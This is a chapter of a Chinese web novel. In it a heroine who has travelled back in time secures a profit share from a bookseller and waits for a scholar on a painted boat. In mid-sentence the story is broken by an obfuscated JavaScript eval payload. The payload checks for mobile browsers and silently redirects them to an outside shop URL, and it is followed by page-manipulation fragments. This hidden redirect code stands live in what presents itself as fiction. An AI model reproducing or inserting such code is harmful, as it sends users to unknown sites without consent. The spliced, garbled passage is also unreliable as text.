其实,在古代虽然多有不便,也没有蒸汽机和内燃机,但顾昭柔还是能适应的。
六品小官能享受的生活条件已经比自己刚毕业的时候租住的普通房子好很多,天天洗澡这个问题,和厨娘搞好关系也就不是个问题。
这个时代还有一些她们那个时代没有的有点,比如空气还行,蔬菜都是有机的。
至于钱,这更是顾昭柔最不担心的问题。
但是在这个时代的女子,无法摆脱一个最大的问题,那就是两个字——“婚嫁”。
顾昭柔上辈子对婚姻这件事情的排序就放在人生大事的很后面,倒不是说一定不能结婚,但如果结婚会影响她的个人财产和人身自由的话,那她就坚决不结。
但是,在古代,这件事情就和她的个人意愿没关系了。
父母之命,媒妁之言,盲婚哑嫁后还要夫为妻纲,这是顾昭柔绝对绝对不能接受的。
所以顾昭柔穿越过来后,第一个目标根本不是赚大钱。
而是让顾安维意识到,离开了自己,他的经济基础就会直接崩塌,从而不敢惶惶不可终日,根本不敢将自己嫁出去。
如此,她就算保住了自己最基本的人身自由。
但是,她暂时也不想让顾安维意识到自己能用“婚嫁”这件事情威胁到她,否则顾安维可能就会觉得他能在和自己的博弈之中占上风,这便十分麻烦。
只要……
顾昭柔垂眸看了一眼风雨中一灯如豆的小书肆,心中默道:“只要这一次助推书肆推得漂亮,顾安维在这一场关系的博弈之中,就会丧失先机,再也威胁不到自己什么了。”
思及此,顾昭柔终于饮尽已然凉透的茶,茶杯落在木桌上,发出沉闷一声响。
这一声响后,顾昭柔又恢复那种长袖善舞的状态,替顾安维布菜添酒,十分行云流水。一边添酒,顾昭柔一边继续给顾安维画饼,最后顾安维脑子和肚子一起吃了个脑满肠肥,顾昭柔这才叫车将人送了回去。
送走顾安维,顾昭柔又一次回到书商,把打包的酒菜递给书商。
“哎哟,您还惦记着我,这可真是……”书商油滑,连连感慨道。
顾昭柔也是圆滑,笑道:“这有什么,以后咱们合作的机会多得是,都是自己人,自然要照顾好彼此。”
书商商海浮沉多年,岂能听不出顾昭柔这话话里有话,完全是点他,于是试探道:“您是说……”
“自然是说我那个叔叔的身份。”顾昭柔也不瞒着,笑道,“不瞒你说,我那位叔叔是在国子监做事的。”
“果真?!”听到这句话,书商的眼睛一下就亮了起来。
作为一个书商,他若是能够搭上国子监的人,再出一些《九经》相关内容,岂不是再也不愁生意?!
顾昭柔看着书商亮起来的眼睛,不由含笑:“老板是个明白人,我也不用多说,只是这样身份的人,要想长久做生意,岂是……”
顾昭柔目光落在书肆已经落了灰的一只木头书架上,话并不需要说完,就已经很好地传达了这个级别的书肆够不上国子监这件事情。
“那应该如何是好?”书商情绪被顾昭柔钓得大起大落,此时不由真心哀叹了一声。
“有一句话叫,莫欺少年穷。老板现在的书肆虽然小,但是都云:风起于青萍之末,假以时日,老板未必不能成为全国闻名的大书商。”顾昭柔真诚劝道,“更何况,你手上已有状元手稿,还有我帮你推波助澜,有什么好唉声叹气的呢?”
“在下,在下感激不尽。”
“感激不尽就完了?”顾昭柔笑问,“为你出谋划策,可不是咨询一次,付费一次就行的。”
听完顾昭柔的话,书肆老板沉默了一会儿,却是起身。
过了一会儿,拿了一张纸过来,放在顾昭柔面前。
顾昭柔扫了一眼,一目十行,已知这是一封契书。
书商殷切道:“十年之内,我赚的每一笔,都无条件分给您百之有三,作为今日您帮助我的答谢。”
“承老板的情,只是营书一路,花钱地方不少,我拿百之有二就好。”顾昭柔十分“善解人意”。
书商没想到顾昭柔不仅没有狮子大开口,甚至十分好讲话,一时间,竟然有些感动。
而顾昭柔却还继续道:“这百分之二我也不白拿,等你的书上市前后,我会让你知道我帮你推卖的手段。”
“是。”书商感动道,“其实我也初步制定了一些策略,您要不要看一看?”
书肆老板说着,将自己定下的策略给顾昭柔看了,顾昭柔差点看笑了。
果然什么时代营销都差不多,什么状元高中后第一时间的心路历程,最帅最年轻状元的首次刊载等等,噱头十分大。
除此之外,还有一些赠品赠送。
“你这思路,我觉得没什么问题,如果我是做广告营销的人,我会觉得你这个思路已经是顶级了。”
……广告营销……?
书商听不懂,但是书商还是十分谦逊地听着顾昭柔的话。
“但是呢,我是一个搞金融的。”顾昭柔道,“所以,我自然有我的思路和想法。”
足够吸引人的商品这不过只是金融大门的入场券,入场之后,那是另一个纸醉金迷的世界。
不过,这些都是后话了。
顾昭柔现在所要做的是要敲打这书商——本来她这趟过来就是为了拿到股权,所以她淡淡看了一眼书商,平静说:“我刚刚说这些,时机到了,我自会布局。现在,最重要的是你的制版,用纸,宣传,一个都不能差劲省钱,你明白我的意思。”
“是。”书商忙点头,“我知道厉害关系。”
“好,不过你这宣传,其实还有一个漏洞。”顾昭柔最后说。
“……什么漏洞?”
“自然是状元爷。”顾昭柔笑道,“你这言之凿凿地狐假虎威,没考虑过裴振气不过,冲过来搞你吗?”
听到顾昭柔这么威胁,书商也愣在原地。
他不是没考虑过,只是富贵险中求,决定卖完这一次拿钱回家养老,到时候即使裴振追责,也无从可追了。
只是……现在才吃了顾昭柔画的饼,他一点也不想回家养老了。
看着书商
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942884|213979||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
面如土色,顾昭柔纤纤十指拿起契书,仔细对折。
折到最后,她才莞尔一笑。
“放心吧。”顾昭柔将折好的契书塞进自己袖子,眸光深不可测,“既然我都技术入股了,状元爷,我自然帮你搞定。”
说完这句话,顾昭柔满意地看着书商震惊中夹带仰视的目光。
顾昭柔很清楚,自己已经完全将这书商收服了,未来此人会完全相信自己,指哪儿打哪儿。
顾昭柔和书商吃完饭,然后从他那里拿了名贵的碧云春树笺给裴振去信,问能不能请他吃饭,何时有空,不过半个时辰,顾昭柔就收到了裴振的回信。
裴振回信十分简洁,不过四个字:【今晚亦空】
听到裴振这么说,顾昭柔便立刻动身,带了个杂役与自己一起驱车赶去至郊外湖畔。
湖畔后是含翠远山,湖畔上,数十精致画舫临雨而停。
春水碧如天,画舫听雨眠,这样的场景让顾昭柔十分心旷神怡,她没有过多欣赏,而是快速去定了一艘画舫,又让小厮带上马车,紧赶慢赶去接裴振。
车声玲玲远走,顾昭柔在画舫老板的殷切招待之下,登上画舫。
老板身后跟着两名十分漂亮的婢女,等老板和顾昭柔坐下,马上端上精致的糕点,倒上热茶。
老板这才捧出一册菜单,让顾昭柔点菜。
顾昭柔翻开菜单,刚刚看了一眼,就觉得心痛如搅,几乎在滴血。
这天杀的的画舫真的是太贵了,她好不容易赚点,经过今天,几乎就要归零了。
但是顾昭柔还是维持住了基本的理智,凭借对古代文人的想象点了一些觉得裴振可能会爱吃的菜,云淡风轻地合上菜单,对老板笑道:“就这些吧。”
“是,等贵客来后,您让小桃通知走菜就好。”老板笑意盎然,恭敬道,“您现在还有什么需要的吗?”
“没什么,不过您家有没有胃药?有的话给我煎点,没有的话就算了。”
顾昭柔刚才就觉得胃有点隐隐作痛,点菜时候啃了口老板赠送的点心,又喝了点热水,却不见好,反而愈演愈烈。
她以前为了一个案例经常加班加点,一杯拿铁打发一天,所以并不觉得是自己今天没吃饭所以胃痛,只觉得可能是点菜点得太心痛,才会这样的。
老板这里经常会有一些客人头疼脑热,常备的汤药都有,忙道没问题,出去给顾昭柔煎药。
老板出去,两位婢女也到外间等待,顾昭柔趴在桌子上,一边欣赏外面的风景,一边用冰凉的手指按揉直接胃部。
胃疼时重时轻,给她带来一种难以克服的倦意,外面数十里都是湖水,雨落入其中,声音十分有节奏而单调,顾昭柔努力把眼睛睁开几次,但是没有咖啡加持,她还是不知不觉就睡过去了。
不知道过了多久,夜色渐渐覆盖画舫外的景色,湖畔点了灯,成了另一种灯影瞳瞳之美。
朦胧暧昧的光线之下,裴振终于到了。
他在外一拜却不听有人回应,思索片刻后掀帘而入,看见的就是顾昭柔趴在桌子上,一手捂着胃,脸色不太好的样子。